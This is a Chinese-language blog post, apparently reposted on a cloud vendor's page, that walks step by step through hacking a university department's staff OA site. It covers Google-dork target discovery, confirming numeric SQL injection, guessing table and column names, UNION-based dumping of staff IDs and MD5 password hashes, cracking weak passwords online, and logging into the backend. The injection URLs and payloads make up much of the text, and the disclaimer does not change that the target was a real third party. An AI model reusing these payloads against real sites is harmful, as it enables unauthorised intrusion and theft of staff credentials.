分分鐘教你如何優雅地黑掉別人的網站

來源:互聯網
上載者:User

聲明:本文的目的是技術交流,請勿用於非常用途!一切後果本人概不負責。


/**********/

    前言
/**********/

    指令碼小子(scriptkiddie)是一個貶義詞,用來描述:以“駭客”自居並沾沾自喜的初學者。指令碼小子不像真正的駭客那樣發現系統漏洞,他們通常使用別人開發的程式來惡意破壞
他人系統。通常的刻板印象為一位沒有專科經驗的少年,破壞無辜網站企圖使得他的朋友感到驚訝。因而稱之為指令碼小子。他們常常從某些網站上複製指令碼代碼,然後到處粘貼,卻並不一定明白他們的方法與原理。他們欽慕於駭客的能力與探索精神,但與駭客所不同的是,指令碼小子通常只是對電腦系統有基礎瞭解與愛好,但並不注重程式語言、演算法、和資料結構的研究,雖然這些對於真正的駭客來說是必須具備的素質。
--------------------------------------------------------------
    今天我要不藉助任何工具優雅的黑掉一個網站( 出於隱私和法律考慮,暫且把這個站叫做example.com)。

/**********/
準備工作

/**********/

google hack: inurl:?id=  site:example.com


找到一個站:http://example.com/school/postgraduate/tutor_detail.php?id=1001



好,試一下:http://example.com/school/postgraduate/tutor_detail.php?id=1001'

發現返回錯誤頁面:


然後,再試:
http://example.com/school/postgraduate/tutor_detail.php?id=1001 and 1=1,返回正確
http://example.com/school/postgraduate/tutor_detail.php?id=1001 and 1=2,返回錯誤

-->說明存在數字型SQL注射漏洞(如果你不知道為什麼,那你就是script kiddie -_-)。


/**********/
開始Hack

/**********/


1)猜解表名

這個需要一些社交工程學(哈哈~)

首先,這是一個學校的某個學院網站,電子工程學院(ee),其次,這個系統是一個OA系統,再次,現在這個錯誤頁面是教師(teachers)資訊。。。。
最後,經過很多次(非常多次)的實驗,發現下面這條sql語句能夠返回正確的查詢結果:
and exists (select * from eeoa_teachers)

【注】:exists()函數用於檢查子查詢是否至少會返回一行資料。實際上不返回任何資料,而是返回True或者False。

實際執行的sql語句可能是這樣:

select * from someTable and exists(select * from eeoa_teachers)

好,這就說明存在eeoa_teachers這個表。


2)用UNION猜解當前表列數

方法一:

union select 1,2,3,4

方法二:
order by 4

(根據第4列排序,如果第4列存在,那麼返回正確,如果order by 5時返回錯誤,說明這個表有4列。)

執行成功的URI:

example.com/school/postgraduate/tutor.php?id=1001%20union%20select%201,2,3,4,5,6,7,8,9,10


最後得出當前表有10列。這有什麼用呢?

--> 一會要利用這個資訊執行union查詢,union查詢要求前後列數相等


3) 破解列名:

猜username不對,那會是什麼呢?最後猜出的是jgh.為什麼是jgh呢?

--因為登陸頁面提示輸入“教工號”,以Chinese程式員的水平來說,這個欄位很有可能就是jhg啦(參考12306的url。。。)

同理,密碼也不是password,而是mm!!!哈哈哈

exists(select jgh, mm from eeoa_teachers)

返回還是正確。

【注】:常用的hack列名可以google之。


4)破解教工號:

因為網站設計者很不友好,提示輸入“10位教工號”,哈哈,那就好辦了,google一下這個學校的教工號,就找到規律了:年份(2014)+學院代碼(111)+個人編號(XXX)

只有10*10*10 == 1000種可能了。可不藉助工具還是比較多的。那麼,繼續google hack-->直接去找這個學院教師的通訊錄,居然找到了:eaxmple.com/eeoa/contact.php

OK,得到了近百位老師的教工號,那麼就無需破解了。


5)破解密碼:

要破解密碼,首先要拿到密碼。來吧!用union查詢可以辦得到。

union select 1,2,3,4,5,6,7,8,jgh,mm from eeoa_teachers

返回頁面是這樣的():



OK,我們得到了md5加密過的密碼,去www.md5online.comdecrypt一下,得到了幾個弱口令。

---------------------------------------------------------

在這裡提醒下各位:最好不要用一些線上查md5加密的網站去查自己密碼的MD5,因為它會把你的查詢結果存入彩虹表裡!比如說,aE4v2z這樣一個密碼,我自己用代碼MD5加密,結果是385ad31a4c10a4da639184b9e5d4de36,然後上網上查是查不到的,可是如果我先查aE4v2z的MD5,再去查385ad31a4c10a4da639184b9e5d4de36,就會得到aE4v2z,是不是很危險?)

--------------------------------------------------------

6)登陸後台:



7)最後,就是想告訴自己:學好原理,別再做script kiddie啦!



















相關文章

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.